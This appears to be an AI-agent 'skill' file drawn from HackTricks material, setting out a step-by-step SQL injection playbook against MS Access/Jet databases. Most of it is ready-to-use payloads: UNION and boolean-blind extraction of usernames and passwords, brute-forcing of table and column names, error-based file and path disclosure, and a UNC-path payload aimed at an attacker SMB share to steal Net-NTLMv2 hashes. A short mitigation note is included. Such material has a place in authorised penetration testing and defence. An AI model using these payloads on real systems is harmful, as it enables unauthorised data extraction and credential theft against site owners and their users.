Hacktricks-skills ms-access-sqli
Use this skill whenever testing for SQL injection vulnerabilities in MS Access databases, including Jet/ACE database engines. Trigger on any mention of MS Access, .mdb files, Access database, or SQL injection testing against legacy ASP applications. This skill covers enumeration, data extraction, and advanced exploitation techniques specific to MS Access.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/sql-injection/ms-access-sql-injection/SKILL.MDMS Access SQL Injection Testing
A comprehensive guide for testing SQL injection vulnerabilities in Microsoft Access (Jet/ACE) databases. MS Access has unique characteristics that require specialized techniques.
Key MS Access Limitations
No Comments
MS Access doesn't support SQL comments. Use NULL character (
%00) to terminate queries:
1' UNION SELECT 1,2 FROM table%00
Or fix syntax with a tautology:
1' UNION SELECT 1,2 FROM table WHERE ''='
No LIMIT - Use TOP/LAST
MS Access doesn't support
LIMIT. Use TOP for first N rows and LAST for rows from the end:
-- Get first 3 rows 1' UNION SELECT TOP 3 attr FROM table%00 -- Get last row 1' UNION SELECT LAST(attr) FROM table%00
No Stacked Queries
MS Access doesn't support multiple statements in one query.
String Concatenation
Use
& or + for string concatenation:
1' UNION SELECT 'web' & 'app' FROM table%00 1' UNION SELECT 'web' + 'app' FROM table%00
Core Techniques
Chaining Equals (Boolean Blind)
MS Access allows unusual syntax like
'1'=2='3'='asd'=false. Use this for boolean-based blind SQLi:
Extract substring from current column:
'=(Mid(username,1,3)='adm')='
Extract from another table (requires table name):
'=(Mid((select last(username) from (select top 1 username from users)),1,3)='Alf')='
Brute-force table names:
'=(select top 1 'lala' from <table_name>)=' -1' AND (SELECT TOP 1 <table_name>)%00
Brute-force column names:
'=column_name=' -1' GROUP BY column_name%00 '=(SELECT TOP 1 column_name FROM valid_table_name)='
IIF-Based Data Extraction
Use
IIF() to create boolean conditions that trigger different responses:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
This returns
0 (200 OK) if true, or 'ko' (500 error) if false. Adjust TOP and MID indices to extract all characters.
Time-Based Blind (UNC Path)
Jet/ACE doesn't have
SLEEP(), but you can force delays via UNC paths:
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
Point to:
- A slow SMB share
- A host that drops TCP after SYN-ACK
- A firewall sinkhole
The HTTP response time reflects the round-trip latency.
Enumeration
Get Table Names
Via system table (if accessible):
SELECT MSysObjects.name FROM MSysObjects WHERE MSysObjects.type IN (1,4,6) AND MSysObjects.name NOT LIKE '~*' AND MSysObjects.name NOT LIKE 'MSys*' ORDER BY MSysObjects.name
Via brute-force (chaining equals):
'=(select top 1 'lala' from <table_name>)='
Use common table names:
,users
,admin
,accounts
,customersproducts
,orders
,invoices
,paymentstransactions
,employees
,departmentscategories
Get Column Names
Current table:
'=column_name=' -1' GROUP BY column_name%00
Other table:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
Common columns:
username, password, email, id, name, created, updated
Data Extraction Patterns
UNION-Based
-1' UNION SELECT username,password FROM users%00
Note: MS Access requires a
FROM clause in all subqueries and UNIONs. You must know a valid table name.
Boolean-Based (Character by Character)
Extract username from
users table:
-- Position 1, character 'a' '=(Mid((select last(username) from (select top 1 username from users)),1,1)='a')=' -- Position 2, character 'd' '=(Mid((select last(username) from (select top 1 username from users)),2,1)='d')='
Increment
TOP to get different rows, increment MID position to get different characters.
Error-Based
Web root path disclosure:
1' UNION SELECT 1 FROM FakeDB.FakeTable%00
File existence check:
1' UNION SELECT name FROM msysobjects IN '\\boot.ini'%00 1' UNION SELECT 1 FROM C:\boot.ini.TableName%00
Database filename guessing:
1' UNION SELECT 1 FROM name[i].realTable%00
Advanced: NTLM Credential Theft
Since Jet 4.0, queries can reference remote databases via
IN '<path>':
1' UNION SELECT TOP 1 name FROM MSysObjects IN '\\attacker\share\poc.mdb'--
Impact:
- Out-of-band exfiltration of Net-NTLMv2 hashes
- Potential RCE via Jet/ACE parser bugs (e.g., CVE-2021-28455)
Requirements:
- Registry key
must not be set toAllowQueryRemoteTables0 - Outbound SMB/WebDAV must not be blocked
Mitigation:
- Set
HKLM\Software\Microsoft\Jet\4.0\Engines\AllowQueryRemoteTables = 0 - Block outbound SMB/WebDAV at network boundary
Useful Functions
| Function | Description | Example |
|---|---|---|
| Substring (1-indexed) | → 'a' |
| String length | → 4 |
| ASCII value | → 65 |
| Char from ASCII | → 'A' |
| If-then-else | → 'a' |
| Count rows | |
| First n rows | |
| Last value | |
Testing Workflow
- Confirm SQLi - Test basic injection with
and'UNION SELECT - Determine column count - Use
orORDER BYUNION SELECT NULL,NULL,... - Identify table - Brute-force with chaining equals or query
MSysObjects - Identify columns - Use
or brute-force with chaining equalsGROUP BY - Extract data - Use UNION-based if possible, otherwise boolean-based
- Check for advanced vectors - UNC path for NTLM theft, file access
Scripts
See
scripts/ directory for:
- Generate MS Access SQLi payloadsgenerate_payloads.py
- Brute-force table namesbrute_tables.py
- Extract data character-by-characterextract_data.py